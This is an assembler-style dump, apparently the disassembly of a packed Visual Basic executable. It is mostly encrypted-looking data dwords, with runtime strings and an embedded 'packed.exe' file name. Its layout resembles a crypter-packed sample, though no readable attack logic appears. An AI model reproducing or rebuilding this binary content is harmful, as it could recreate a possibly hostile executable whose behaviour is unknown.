93B5C374h, 38A4CE6Ah, 7C4E3A4h dd 8B000000h, 7F136h, 0FF1D1900h, 9418B534h, 0D736E38Bh dd 93387D81h, 351B6B5Fh, 0B5127DF4h, 489C6FC6h, 151378B5h dd 0C2A5DF10h, 6FCC32B6h, 8D1AC01Ah, 0A504CFEDh, 344A03D2h dd 9F351B7Ah, 5B92F354h, 0FA330E80h, 0EB21F073h, 0A07D8155h dd 43C42F59h, 2E37E87Dh, 1BEA43DAh, 7DD6208Dh, 74D5D9D5h dd 0A56E8C20h, 9F2A89C2h, 0B0BB36DDh, 6BAF3910h, 71DAFADFh dd 0AB2h, 1378BD4Ch, 0F0DD0E15h, 0A9B26FF0h, 0D16C75Fh dd 0E3C8213Bh, 0C25A3FE8h, 24240C69h, 8082E6CFh, 0D36A5EA7h dd 0A59311Ah, 1B502D41h, 4D088635h, 8A63FACEh, 379009F2h dd 30F67147h, 7FCE0527h, 0BF69E269h, 0F6F2A8F2h, 41ECBD6Eh dd 0E3E89074h, 0D3383336h, 0DBAA6183h, 0EF212F2h, 37B6A133h dd 0BA835CE1h, 4E66B74Eh, 4D1A8CAEh, 984D101Eh, 0B583624Dh dd 5A871B2h, 0E3D83D48h, 0C2A58C36h, 55BE6FF6h, 0F608CA53h dd 3FA6DE39h, 0B51B383Dh, 75F43F5Dh, 30336D58h, 0B315DCB3h dd 598EE3A0h, 0B98435Dh, 0E500000Ah, 4EBA8364h, 291F64B5h dd 0F0F0DD16h, 5C54B16Eh, 530A13C8h, 0B069F3E6h, 16CB5DABh dd 0CE273B0Dh, 0A57A83E5h, 28A50658h, 351B50D2h, 1D3C5979h dd 18B534FFh, 36E38A84h, 0C33F9427h, 88351B6Ah, 1B6AAFC3h dd 0BA2D0435h, 6A4CA22Bh, 4CE7351Bh, 5DAB1A65h, 409417C8h dd 0EF4860BDh, 263F093Ah, 1D3FBFC9h, 727E57D6h, 39330E90h dd 0D0091266h, 0D8165F98h, 7330F670h, 0A87C2FF8h, 0EEA59BF8h dd 2487EE84h, 8B904DD0h, 8358EC38h, 0B7990EE9h, 0B74771AEh dd 4CA60395h, 0C4E8C4FBh, 1A410AFDh, 0BB36E3A8h, 62FB31B0h dd 0BD40A08Dh, 8D8D4860h, 0ED351B48h, 0D2A504CFh, 1B4885F9h dd 82072E35h, 0B276923Bh, 0FDD330Eh, 51D03BF8h, 5A2D021Bh dd 213BF70Eh, 6C77B0C8h, 353EEB54h, 0BBF52A33h, 53D2193Bh dd 0E3A86A7Ah, 0F903D936h, 0ABB28820h, 68006B72h, 9A6DA6C4h dd 30430231h, 5FE53333h, 0C2099FD7h, 4A55EE55h, 0C547EEDDh dd 0D98EC478h, 0F3B01BA5h, 8D000008h, 5652BB7Ch, 31371CCDh dd 98E8F52Eh, 644CA986h, 0AB220BE0h, 0A8819BFEh, 0EE36543h dd 0E63FC325h, 5D92AB9Dh, 4D1E70h, 351B51EAh, 4B143141h dd 0E5437DB2h, 0B9F58F60h, 6C3F85B5h, 0F6700B67h, 0F70B4030h dd 5C30F670h, 0AE7BF295h, 41AA839Ah, 0E7BA262Dh, 14DD79h dd 1E6A0000h, 17E2B0Ch, 9763FACEh, 0D0495091h, 49BF5h dd 0A249DC00h, 0DDAC6785h, 0F4253E0Ah, 780B7253h, 7E4A36DDh dd 19B235E6h, 351177E5h, 7B22E74Eh, 7A460FF0h, 0E201E546h dd 0E9B80BC0h, 0A7988216h, 95B795C5h, 1A0D92E8h, 0CA3E39E6h dd 652EFB34h, 0E031E3CAh, 3CB0C863h, 7952D51Eh, 0E5EBB964h dd 499F6EC9h, 16127BB4h, 0F94EDE0Fh, 3AB065C8h, 820319Ah dd 4FD20000h, 0A0BB8D96h, 106624Bh, 59EDDB20h, 0B349BF84h dd 0D1461D66h, 0BE8754E8h, 107DB64Ah, 0C8D51210h, 0A38865F8h dd 0BF33982Bh, 14351B52h, 0B24BDF7Ah, 5FE5437Dh, 27518E97h dd 0CEE8F5DCh, 9E27AACh, 0C4765F2Eh, 1736E38Ah, 61F6DDCh dd 61E4CC29h, 4593F48Ch, 0BA432C0h, 0A4D6A4F9h, 90B2CC5Dh dd 0FDE3E85Bh, 56330E96h, 45D82C9Fh, 0D4619E8h, 30F676F1h dd 3D36935Ah, 0C3FD32CBh, 9A0ADF65h, 0D984A5D7h, 93D37C04h dd 6D000007h, 36321BDCh, 9197FC2Dh, 7848558Eh, 0C42C09E6h dd 0CB82EB40h, 8E17B5Eh, 0EE43C523h, 469FA385h, 3DF20B7Dh dd 0A02DBED0h, 351B534Ah, 1DB4D1E1h, 0E2B534FFh, 8CC99296h dd 30F6706Eh, 69036AC5h, 7041BD16h, 43EA30F6h, 0FAE6AF78h dd 5136E38Ah dd 4CD12786h, 0A7BE8A93h, 5BC0DAEEh, 4218429Dh, 1BA2E519h dd 9CE74E35h, 0F93250E4h, 70C64D06h, 0CC673330h, 8F831F5Ch dd 1BC4DCD9h, 712h, 0B3985DECh, 107DAEB5h, 0C9D20F10h dd 0ADB667FFh, 368C15Bh, 62FADF48h, 0C444AC89h, 2022066Fh dd 738AFEC7h, 0AA3951BAh, 1B53CD21h, 2D686635h, 437DB24Bh dd 909260E5h, 0AFFD4C57h, 0F0570496h, 0D3F6D30Ah, 252AB0C8h dd 21867898h, 8AEABF86h, 0C7202E12h, 4F1EE13Eh, 0F69BE806h dd 4AB54330h, 0D2331793h, 767F2833h, 0E7A61938h, 0ECE79h dd 297F0000h, 59A2DA17h, 0A93693C0h, 19000002h, 437DB24Bh dd 0EB5A91B3h, 0E38BFEE2h, 0B19A5536h, 8E71AEB7h, 0EC87B1FAh dd 0ECBDD3BDh, 71AAB288h, 4BA4BA8Eh, 1051F631h, 1CEF2446h dd 0E9368B7h, 9716C133h, 8063BC41h, 73668431h, 62CD30F6h dd 0A1A48CA5h, 8053344Ch, 0F673B7CBh, 52833930h, 7C9F7CDEh dd 7345C26Dh, 0C61B2DE9h, 1331C5FFh, 516C69D8h, 0C036DD2Ah dd 0FACEB769h, 750FDF6Bh, 61DEAh, 9552D700h, 76A3B888h dd 2F041B6Dh, 835CE2C6h, 65B64EBAh, 0EDD44518h, 4FB98257h dd 151378B9h, 0FDCBD015h, 34AEB768h, 54C03E97h, 676B351Bh dd 9DBACE2Ah, 5A57C09Ch, 57EEF257h, 518EE86h, 0D8E49028h dd 9748DD2Ah, 676C3F8Eh, 30F6E00Bh, 821089A0h, 79E72DCFh dd 7B4h, 6836DB00h, 19000001h, 197CBACEh, 0DA5CDA21h, 95E27B4Dh dd 0F6E6C238h, 52EF4C30h, 0AAA1AAB2h, 7729303Bh, 0D9850B18h dd 9310BBC5h, 6D000005h, 36321BDCh, 9197FC2Dh, 7848558Eh dd 0C42C09E6h, 0CB82EB40h, 8E17B5Eh, 0EE43C523h, 469FA385h dd 3DF20B7Dh, 0A02DBED0h, 351B554Ah, 0CEB4D1E1h, 0AB4BF6BAh dd 0F156EA56h, 0EF9956EFh, 34360419h, 0AD0E8F3h, 0A7853FF8h dd 9B2943A0h, 0C15D9FAFh, 6BF24DFDh, 3E15A9B2h, 2579E79Eh dd 35h, 3DEE7642h, 0B2EFB883h, 27AC7FCEh, 30F670CBh, 6E8CC960h dd 0C530F670h, 70A5D9F2h, 270E30F6h, 0AE7DA8DCh, 0CB96CB20h dd 0B1775Eh, 365A0000h, 0ABh, 34FF1D19h, 1CDE67B5h, 559ED60Bh dd 0B3C9324Ah, 6FB1E8ECh, 13BA6FF2h, 0E3B336BAh, 1A529D36h dd 33E87349h, 3DF61496h, 76EDFB4Ah, 5AEF2B93h, 0D6693AEFh dd 7F333031h, 404554F4h, 0EEF6D98Fh, 4B965h, 71B64B00h dd 0D2071C14h, 8B68FFC9h, 6FC046A2h, 0C11A2206h, 4138E1E4h dd 23056EBBh, 89FFC41Dh, 5157BC79h, 500A13CCh, 56245A73h dd 38F351Bh, 34FF1D46h, 0BE1418B5h, 0BCB736DDh, 1368FFCDh dd 113D44BAh, 0BC758A35h, 0BD319A2Dh, 1635113Dh, 80EDF4DFh dd 113D5CDFh, 18D56835h, 0F1323533h, 4541CC7h, 1D430000h dd 0E29C69FFh, 22A222C1h, 7D6368DBh, 3636E3E3h, 0E9835CE2h dd 3C13D96h, 0C36A351Bh, 0F57C2FF8h, 0D2193BBBh, 0D2C77A53h dd 0C76E3330h, 8EE33E45h, 7AE5FFD9h, 41Ah, 8B9055D4h, 6875A6BDh dd 0C12A0718h, 0A58E5FE7h, 1B60B943h, 5AE2D740h, 0BC4CA481h dd 182A1E67h, 6BF2F6DFh, 9231A9B2h, 1B56C539h, 25606E35h dd 0B534FF1Dh, 372AD6E2h, 0A0AEA077h, 0EF26AEE7h, 176536E3h dd 548D10Eh, 0C7F12E37h, 4692157Ch, 0CC9F6EBFh, 1B0F6B87h dd 0CC34C035h, 52419180h, 80A16641h, 9E4FD725h, 0DC1E2709h dd 0F48C974Ch, 16E92240h, 0E1246BDh, 0CD51E733h, 0A99F5810h dd 8F7E5992h, 0C516A4B9h, 0EF1A98EAh, 0DE2A331Ah, 5EDE9647h dd 5F74F73Ch, 36DDA97Ch, 0CB283F0Dh, 0B624EBBDh, 0F8A1CEA1h dd 0A3EABAB5h, 50DF6BA4h, 3648740h, 0B1E0000h, 5CE7C12Ah dd 0BD42A68Fh, 15291F64h, 6FF5F3D8h, 8D3A51BAh, 0F2DB1014h dd 54B172F6h, 0C69CE5Ch, 0E7CC2124h, 7BF7DCEFh, 0D0351B57h dd 0FACEE3BEh, 5D929462h, 28F13A72h, 8820FD00h, 0D96FABB2h dd 0BC876018h, 7D80D457h, 2B3208A0h, 7C3EEBF2h, 0B912955Eh dd 36DD7D32h, 61C24593h, 0B01DEC57h, 35117D3Ah, 457F4691h dd 117D9E98h, 0E06EFA35h, 83FBF682h, 0BAD2BAA6h, 0A5C291EDh dd 50A17400h, 28000000h, 8F68FACEh, 8942601Ah, 871EA236h dd 8127FC03h, 86031503h, 38956437h, 30F6AFC2h, 859CE69h dd 36DD53E1h, 0F4D7E148h, 0F1DA9FA0h, 3511B37Dh, 0B5341FD6h dd 11B3E218h, 39EE4935h, 11B3EE68h, 90BE8A35h, 0FFF756FDh dd 0DC0D73h, 4B540000h, 925520B2h, 26FA2608h, 0BD47A5DFh dd 0A073546Ch, 0F640D72Bh, 54F57C30h, 8C24F90Ch, 8FE5AD3Bh dd 64C06B8h, 54A6BF81h, 98631DD2h, 12354B1h, 0D730F6F3h dd 0DA2E914Eh, 8B9CE841h, 75F0F156h, 0F2D529A2h, 0EB5B30F6h dd 2DE3B6B5h, 0D049E0E3h, 0B87588h, 8F1D4E6Ch, 573E6463h dd 0D02E5726h, 7B30F69Ch, 4716E9F0h, 71866C31h, 0BC8731EAh dd 3D1E3D08h, 0ABEC3B6Ch, 0EA4536DDh, 18D3F181h, 0C0572CA9h dd 73FA3307h, 4BA0A4F0h, 2DFE0662h, 93113C7Bh, 7CE7F9D9h dd 1F2h, 53B87D8Ch, 301DCE55h, 0E9F22F30h, 4D56879Fh, 2308E17Bh dd 829AFFA8h, 0E4644CA9h, 40C2260Fh, 93AA9EE7h, 4A19715Ah dd 1B58ED01h, 0D484635h, 1378B14Bh, 0F6DF1015h, 0C11A2177h dd 0BACE1B58h, 15DA5287h, 0FAB415AEh, 0BFF80ED8h, 0F614D816h dd 91F87330h, 21FA01E7h, 7A45AC97h, 0E8BFC28Bh, 0A2F636DDh dd 94C74099h, 8C9EEA5Dh, 3FA6FEABh, 3511083Fh, 653FCF5Bh dd 0E998B457h, 59CE04CEh, 0FFEC163Dh, 71B5173h, 8251DF73h dd 96F11DF1h, 0B5B415DEh, 93h, 567FCEDCh, 30F67018h, 0D9EFB8B3h dd 0BD1EB44h, 0C58038F1h, 30F67567h, 6A73ACB1h, 9ED6071Eh dd 132AFC1Eh, 7E59A2DAh, 7B83C68Fh, 32A36DDh, 0B17A983Ah dd 1C5185CEh, 73FA3307h, 4BA0A4F0h, 2DFE0662h, 934C467Bh dd 62EDF7D9h, 10Ah, 0BB8065E4h, 1865B64Dh, 0F1DA1728h dd 55BE6FF7h, 0B10C953h, 6AF2E750h, 0CC5C54B1h, 283A0E17h dd 7B82E6CFh, 0A20159A2h, 1B59D529h, 35507E35h, 0E165B14Bh dd 0BD8B740Ch, 0F43F49AAh, 9DA080EDh, 0CE667B40h, 0A18439BAh dd 0F63ED614h, 0B6F27D30h, 50C9BBC9h, 4938F508h, 429BA2F6h dd 0F601E519h, 68FA4E30h, 91E3A48Fh, 107DB24Bh, 62C34795h dd 6CA7C5A5h, 0FAC4309Dh, 5C9736E3h, 0B9CBDFEDh, 0E30CE396h dd 75885E26h, 6E7B33E5h, 74A4C0F9h, 0BE2F29F5h, 90FDC42Fh dd 18508D90h, 1312E4BDh, 9DADB54Fh, 1962BB42h, 7B6F1EAAh dd 8731EA72h, 2A2708BCh, 0C75E6227h, 853FF40Bh, 1D053BAh dd 1C9036B4h, 0D3529D2Fh, 1C9084FAh, 83042F2Fh, 0DA132BF1h dd 9E545D6Bh, 2D752D09h, 0CFFD715Ah, 9F562F1Ch, 45ED6A0Ah dd 1AD36AB5h, 0F12E3731h, 0CF283A0Eh, 0F913A5Ah, 0C0000000h dd 0E1563CAh, 0DC328180h, 0D9202220h, 0B64B1340h, 5CE14771h dd 0F13E983h, 0B8489ED6h, 61FB417Bh, 122AF088h, 0C559AFD9h dd 758A5068h, 1D2604BCh, 56FEB4CCh, 0C6815E54h, 4, 8704EE83h dd 685C2434h, 5D88h, 68240489h, 12B5h, 52240C89h, 204F1568h dd 0CB85A44h, 1C1CCCDh, 8B545AD0h, 0C481240Ch, 4, 57C78957h dd 1A242C81h, 8F6D316Ah, 41810841h, 316A1A08h, 34FF5F6Dh dd 0C4815924h, 4, 582434FFh, 0E904C483h, 0FFFB19F3h, 0AF4A1B42h dd 0B8BD05CBh, 5ED2ADEh, 0E0FFC503h, 2605DEA2h, 5166A47Bh dd 32F1458Fh, 5219A82Eh, 52BE3E3Dh, 16B6D707h, 14A37997h dd 2C0E37A9h, 542B34A0h dd 0A7E4A53h, 18AE386Ah, 2C8C4D7Ah, 60395235h, 37352098h dd 570A1B1Ah, 4D4697D0h, 10E8h, 27098200h, 38542EB4h, 1B81213Dh dd 7FFFC583h, 0D54DBF38h, 0E85B71EEh, 13h, 164AF0E3h, 85473C34h dd 0F317A822h, 594C80Dh, 60D88D20h, 0DEB7F18Bh, 0C3815F61h dd 60E0h, 68CB8B66h, 17F9h, 0D8816660h, 0BF0FEBDBh, 0FC5E61DBh dd 0B86633FFh, 575A3CCFh, 8E0Fh, 81590000h, 1E50EBF2h dd 7E819h, 0A3740000h, 9AA47139h, 8158F973h, 23150FEAh dd 81F98B34h, 95E7E1F2h, 6E872h, 31340000h, 28A61EF1h dd 0BA60525Fh, 6AF1ED0Bh, 178A0Fh, 12E90000h, 5D000000h dd 0ECA2B831h, 0A67F8D51h, 57E6BEBFh, 0E3E22819h, 38F61A4h dd 1EB81F9h, 817D9107h, 85A12BD9h, 0FDC38111h, 667D9106h dd 107F781h, 1EE81h, 850F0000h, 10h, 0A46BB966h, 20E9h dd 0FB2A1B00h, 15950265h, 0FB86652h, 5DE95892h, 2EFFFFFFh dd 47AA3697h, 0F1582353h, 0EEBDF567h, 8A8D8DC9h, 0F505ED2Dh dd 23158D89h, 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 7E4E2AC3h, 4822E508h, 0CEDBD8Bh dd 85C705E7h, 5E708B9h, 6D1Ch, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 27C35545h, 0B9A2BFFAh, 8B482383h dd 6820FB7h, 8B000000h, 0E72D1985h, 0E1958905h, 0C705E701h dd 0E70C9985h, 5, 31958B00h, 0F05E726h, 689h, 0DD858900h dd 0FF05E713h, 0E7262DB5h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 8BF641BDh dd 0E701F985h, 0CD95FF05h, 6A05E732h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 354AC351h dd 0CCED0968h, 2E4D9D89h, 0FD8A05E7h, 95FF006Ah, 5E71A1Dh dd 3EEBC08Bh, 448DD497h, 0F274D38Bh, 41A19B51h, 0EF95CF2h dd 0CFA6CF74h, 0D1C8A0B8h, 0DD7E1DE3h, 0C5293515h, 33086C3Dh dd 84110C41h, 0D5002936h, 52ECF534h, 75034A97h, 0F5321690h dd 0B3B4FA9Ah, 5CE9AC03h, 0C5000001h, 4377E705h, 5F6D5C3Ah dd 61706E75h, 72656B63h, 63617000h, 2E64656Bh, 657865h dd 3Ah dup(0) db 0 db 2 dup(0), 33h aCannotFindS_Pl db 'Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 aS_1s db 'áÏ.1éÀ',1Bh,0 align 4 dd 0ED314768h, 4E39E905h, 1268FFFAh, 0E905ED32h, 0FFFA4E2Fh dd 0ED32F968h, 4E25E905h, 0A868FFFAh, 0E905ED33h, 0FFFA4E1Bh dd 0ED33E768h, 4E11E905h, 7768FFFAh, 0E905ED34h, 0FFFA4E07h dd 0ED34CA68h, 4DFDE905h, 2768FFFAh, 0E905ED35h, 0FFFA4DF3h dd 0ED3C6868h, 4DE9E905h, 768FFFAh, 0E905ED3Dh, 0FFFA4DDFh dd 0ED3DB768h, 4DD5E905h, 0D668FFFAh, 0E905ED3Eh, 0FFFA4DCBh dd 0ED3F3368h, 4DC1E905h, 1168FFFAh, 0E905ED40h, 0FFFA4DB7h dd 0ED40A368h, 4DADE905h, 3268FFFAh, 0E905ED41h, 0FFFA4DA3h dd 0ED477E68h, 4D99E905h, 0AB68FFFAh, 0E905ED48h, 0FFFA4D8Fh dd 0ED496068h, 4D85E905h, 75A3FFFAh, 6AA08F41h, 72BF8444h dd 6EB9864Ah, 8DB5824Eh, 8332834Dh, 75DBE32Fh, 75DBE32Eh dd 73DDFD2Eh, 0EC2E424h, 3A8E2BBBh, 39C698CDh, 7A529CCAh dd 0EF390654h, 8DB887CFh, 0D9147549h, 8D905C1Bh, 40551DC5h dd 0C375E2F8h, 0EE4BAAFBh, 0C95CF091h, 9469B586h, 0C692EC20h dd 0E2378EB5h, 0C692EC1Eh, 0A7FBC415h, 15696D58h, 0ECD2F534h dd 774B94A2h, 4CFE9843h, 0C7CDCD9Eh, 61F27C4Dh, 4D7Fh dd 0EE024B00h, 0DAFFA72Fh, 0C375E256h, 5D7DEAE4h, 80516105h dd 0B67E74B7h, 0BB059CFEh, 2A09BA5Dh, 5CB5EC4Dh, 62B889C9h dd 0DAFA2D72h, 0E146A584h, 0C6928513h, 0E720A665h, 0F537358h dd 0B828FF3Eh, 6561F227h, 93D2F0DAh, 0C92Ah, 0D35BC00h dd 75E2C0A8h, 64545DC3h, 15663716h, 8DD1FBD6h, 625846B1h dd 0BCEBB41Ch, 56765D98h, 0CBDD2A70h, 345465EBh, 21C375E7h dd 0EECED9E7h, 0E068B990h, 116D715Bh, 339B7A76h, 5CF245E6h dd 3F1162C9h, 0A8E04F77h, 9451B886h, 0C692FA2Ch, 0E897D627h dd 6C490104h, 0CCB894B4h, 9CBCE9B6h, 3D8316BEh, 36C8A520h dd 0B24294E5h, 0E846AD82h, 0D5E2F0Eh, 8ECCFA45h, 8DCDF542h dd 20B9BB10h, 94C76370h, 18DEh, 212F2F15h, 3E12301Ah, 38102811h dd 34143813h, 351B236Fh, 9981D9E8h, 9580AFA1h, 8B80AFA1h dd 8E9EA5ABh, 4101A0A8h, 98D38C74h, 229487C6h, 7C566452h dd 0EA58C1C4h, 0EDC8C6FEh, 0EEF0D867h, 0EE02AE62h, 0B912A72Fh dd 0B6C95CFEh, 0D0A41965h, 0A6C692FEh, 65FFE5E5h, 6761F272h dd 0A7h, 547A5263h, 0C9F13906h, 4D6DBE81h, 0E5DD1871h dd 75E77010h, 8BABFDC3h, 96AEFE45h, 624B97B7h, 3EB2CD11h dd 89A2775Fh, 26C95CF2h, 707C7BD5h, 0F60D25ADh, 3DE737ADh dd 0B886A6E1h, 6B4E0051h, 0C692C985h, 646E4D9Eh, 0B8A2CE51h dd 10BA8BCCh, 0E7C7C768h, 7EBD8188h, 39172713h, 69162412h dd 7021625Eh, 13A53612h, 40000018h, 41EE6254h, 5CEB6545h dd 5EE56B53h, 5AE16F4Fh, 0D3E26E6Ch, 0F4C2CCA4h, 0F4C0CF54h dd 0FEDECF54h, 0E3C3C552h, 0AF0A5C6Dh, 0C698D0D9h, 52FFABDAh dd 7F5F4864h, 3315222Eh, 526D3D13h, 3906547Ah, 6A01CFEFh dd 0EACF8786h, 0C95CFA9Dh, 5901499Ah, 92FAF47Ch, 0A7B78FC6h dd 43B3680h, 8DF53001h, 92784C28h, 0ECCCD9C6h, 5A64A18Eh dd 3D0C5270h, 71FA8EECh, 0A269E549h, 0F0A43C24h, 0A4A061F1h dd 22000000h, 0CDB27D35h, 0C1D7050Bh, 1F6839E2h, 0B59ACCD1h dd 19EFCA93h, 1AC3754Ah, 4BA2F8C9h, 0EA576268h, 0EFC95C42h dd 48EE339Eh, 0A19DF73Ah, 58004A4Bh, 0AEF0D4F7h, 812C6DA7h dd 17F0334Ah, 13DFAAE6h, 334C92E3h, 23F6D8BDh, 2909B4BCh dd 5DE2E435h, 5EE56B4Bh, 32B3684Eh, 0B24AA4F2h, 172CC596h dd 7DAB0000h, 62A8F759h, 7AA78C5Ch, 66A18E42h, 75BD8A46h dd 8B3A8B45h, 7DD3EBD7h, 7DD3EBD6h, 7BD5F5D6h, 76DAFC2Ch dd 328613B3h, 31C698D0h, 7A5294C2h, 83690654h, 80EDC882h dd 95C95CFAh, 0E4C48444h, 96AE4245h, 75E2BD03h, 1465B6C3h dd 94A4EDB2h, 3BB81D59h, 38C95CEAh, 6D32E0EFh, 0E4C51939h dd 0D52E2089h, 658B4F79h, 18012EA0h, 2C89C520h, 444D1303h dd 9EF54698h, 0C7D65D66h, 0E10FA8F6h, 580FAA3Ch, 0E05B9751h dd 0E1845E48h, 310907D5h, 3E426BF3h, 483D787Fh, 0C0C8577Fh dd 0C3C552FEh, 96C73EE3h, 3713FD31h, 167DA4h, 88CEFA00h dd 0F3D3FB40h, 0F1C9F65Dh, 0F5D9F05Fh, 0F4C2CC5Bh, 663A4954h dd 61CE0238h, 61CE023Ah, 7FC40424h, 0E2C7092Dh, 0D163D5E0h dd 3560C698h, 547A5245h, 50913AA7h, 0C596B264h, 163Eh dd 814F8FB5h, 9EB290BAh, 98B088B1h, 94B498B3h, 95BB838Fh dd 0F9217908h, 0F5200FC1h, 0EB200FC1h, 0EE3E05CBh, 21A100C8h dd 98D12C94h, 82F427C6h, 6547A52h, 0C8828369h, 5D0F20EDh dd 64E435C9h, 30BCA969h, 0E350656Dh, 0D0CCBBC7h, 0D3F7C887h dd 1E6BD0AEh, 3E9B33D2h, 612BFE0Dh, 4A65B98Ah, 0CAEFE7A6h dd 673E4087h, 13DBF3DCh, 74FA4E6Bh, 0D1F9773Dh, 3D747CC4h dd 0D5267777h, 4D91BB96h, 0B294B483h, 99272ACDh, 15AF618h dd 15AEh, 71DFFF25h, 0EC2E02Ah, 8C0F821h, 4C4E823h, 5CBF33Fh dd 695109B8h, 6550FF51h, 7B50FF51h, 7EAEF55Bh, 9131F058h dd 98D6BC04h, 1244B7C6h, 75E250D8h, 0F2FD47C3h, 12E2C375h dd 0DC375E2h, 0C375C2B7h, 57C4EA22h, 6450B0BEh, 5B81DA76h dd 98000015h, 99A6AAACh, 94A3AD8Dh, 96BD93ABh, 92B997B7h dd 6BBA96A4h, 3C1A045Ch, 3C18072Ch, 2606072Ch, 2B0B1D2Ah dd 0F7C28425h, 0C698D601h, 2A71302h, 8FA72FEEh, 0CCA8862Dh dd 2BA382CEh, 5D146D8Eh, 64CBF3C9h, 0DCA40125h, 0D7C692D6h dd 85D6A786h, 37C50918h, 5209216Ah, 14FEh, 0C10F4F75h dd 0DE72507Ah, 0D8704871h, 0D4745873h, 0D57B434Fh, 0B9E1B9C8h dd 0B5E04F81h, 0ABE04F81h, 0AEFE458Bh, 61614088h, 98D7EC54h dd 0C2B4E7C6h, 6547A52h, 0BD03965Eh, 4FC375E2h, 75E2866Ah dd 0E34C9DC3h, 68B99D8Ch, 0DEE6260Dh, 0B495E9D1h, 0F3BB636Bh dd 75E25226h, 0A30051C3h, 0C375E2DDh, 0AF785E48h, 1539135Eh dd 0BD85E0C9h, 69731776h, 67D98AF7h, 3BD5h, 5CD89100h dd 0C9C375E2h, 4D3386DFh, 0D8C375E2h, 0CF18E9EDh, 0B687B7E0h dd 5793079Ah, 0FED0C3D1h, 971DE336h, 0C516C32Eh, 67C898E6h dd 0D33A0024h, 1450D190h, 3A050000h, 0E4F23111h, 6EDB7D35h dd 5D6F7772h, 4C19331Eh, 75618769h, 62B39CC3h, 0A86D831Ch dd 94C67E26h, 84CAC3D3h, 8C4335F2h, 7740C375h, 0FA1BBE34h dd 0EC95C87h, 0E6C5E521h, 6F04C415h, 0EFCA9C81h, 0CCBB8FE2h dd 6F58A6F7h, 0E3361A22h, 0C8BB6F1Eh, 0FDD88185h, 0C8BB6F0Bh dd 56193608h, 9D6917A2h, 0C46B634Ch, 4C9DE1C5h, 7654E371h dd 0E93D0A50h, 6AD1F5C9h, 0E8CEDC6Ch, 11F16360h, 0FDD35C0Bh dd 8B000001h, 0B0A3AB3h, 64473F87h, 2FEE0272h, 74512A7h dd 5872C95Dh, 0ADF1D5F7h, 0C611E75Ch, 0C112C692h, 723AAAF0h dd 92C6D1A7h, 7F5F4CC6h, 331E5DAEh, 0E153B1Bh, 8B943E1Ch dd 960BE9Eh, 9361D42Ah, 0B5C692D6h, 5A70D0F6h, 0D6C0A80Dh dd 0F2C3C692h, 4FE7AFA1h, 664F2C0Eh, 0F146E7A8h, 0AE30A4FEh dd 68B99D88h, 9B7A760Dh, 0BA330B33h, 39528BA4h, 0B5BE1B5Ah dd 22CCBA36h, 9EA1B5D8h, 370080AEh, 0CD5FD79Fh, 665268E9h dd 61A91FD4h, 59AAC8BBh, 0CA103616h, 71BE80E3h, 17DF7149h dd 0CD3C0208h, 55B8FBDBh, 3F81146Dh, 34C8BB61h, 0F1449AEBh dd 0C8BB610Dh, 0A1626427h, 6154DCF9h, 1E6FC8BBh, 0F0C6F0DFh dd 0D29C9458h, 48308543h, 4BC8BB52h, 0FF74207Ah, 0E6240B6Ah dd 998DFAC0h, 9A4165B9h, 587EACFCh, 0C78113F0h, 36435C0Ah dd 7000000h, 1E3C6A35h, 0A78AE9C0h, 307F437Bh, 9DEA3006h dd 6552A888h, 0ACC01E3Eh, 4B6E9B3Fh, 0C375E2E5h, 365CADFEh dd 7BA70585h, 861E8D43h, 4667D98Eh, 0D8h, 31EE0200h, 82EB3717h dd 0BFBC19B1h, 4DC95CF7h, 0F7483085h, 0A8C2C692h, 2CC0A718h dd 0CDDC13FCh, 0E85D98E9h, 0C13439Fh, 8BE2381Eh, 7F4145A8h dd 0D6370B33h, 557D9FCh, 36CC692h, 0B0A09832h, 276327B1h dd 47EC6043h, 0D76F6747h, 0FB4989FCh, 0E70B391h, 0F9C5E521h dd 0C06066D5h, 6764E4CAh, 61F246EDh, 69DFh, 0EACFF700h dd 0C692B606h, 0F9F1CC1Dh, 0C0A80D35h, 0C3C375E2h, 0DD0CB3F2h dd 54EC943Eh, 5F7AE941h, 0C375B2E9h, 984199EAh, 1DA7CD59h dd 0AE4030A6h, 1525125Dh, 2485E0C9h, 0C375D38Ch, 0F9DDC827h dd 0F90E26A8h, 25063252h, 482D1550h, 0C37522ECh, 0D321A932h dd 0A951791Ah, 47A68486h, 7521CEE2h, 0B494E5C3h, 783h dd 633ED700h, 68000000h, 9556552h, 62B7EC3Eh, 0C375E29Eh dd 10983D95h, 13C375E2h, 0A8A0F1C2h, 90B58B83h, 4F79E6B9h dd 331C8450h, 54D9EEFh, 0F3CF0F3Ah, 48675B9Ah, 269BE7BEh dd 0C3754F5Fh, 0EEB17929h, 50D89DBDh, 0AAC3754Fh, 754FB90Fh dd 9869BAC3h, 9DCD774Fh, 0B9F19358h, 656F6B7Ah, 67D978EBh dd 0BFED9h, 802ED00h, 0EA300433h, 5018B283h, 75E2F345h dd 44A7F0C3h, 17B8877Ah, 7C44D21h, 56079983h, 4DC5DE2Eh dd 81000000h, 0A52D0802h, 556552FDh, 64C52009h, 0C375E29Ch dd 340C4697h, 0CE6B6864h, 26080008h, 45A0F1D8h, 0A096B87Dh dd 0C4F36CE9h, 4B5DAAF0h, 21A8176Bh, 12391599h, 0B0F46C74h dd 76D0BE65h, 8E000002h, 708850B6h, 96297145h, 83D71691h dd 1B330802h, 0B586E73Bh, 52315501h, 356E547Ah, 0E2C0A80Dh dd 0F2C3C375h, 356A3CB3h, 0E2C0A80Dh, 0F2C3C375h, 0E20BFDD8h dd 3F08C375h, 82C729FCh, 44A56AD9h, 21000000h, 0A52D0802h dd 0E250D8FDh, 9DAC375h, 0E7A92A57h, 22015223h, 350D35B4h dd 3C659358h, 6CCD28E7h, 0C375A687h, 3507B39Ch, 55655211h dd 350E4461h, 22FA0B7Dh, 9642672h, 2D46h, 77A38C00h, 35726447h dd 8870450Dh, 8BC375E2h, 0E20BFDBAh, 3F08C375h, 6845C1FCh dd 1BE0357Ah, 0D9C375E2h, 11355A08h, 61556552h, 7D350E44h dd 2E85D328h, 0F2579663h, 433672E4h, 3F6B454Dh, 3502CE1Fh dd 94FB3313h, 755AACAAh, 0C7300E4Eh, 2D9AE0C4h, 3D921CBAh dd 0F0D8686Eh, 7454E3EEh, 0EEC07852h, 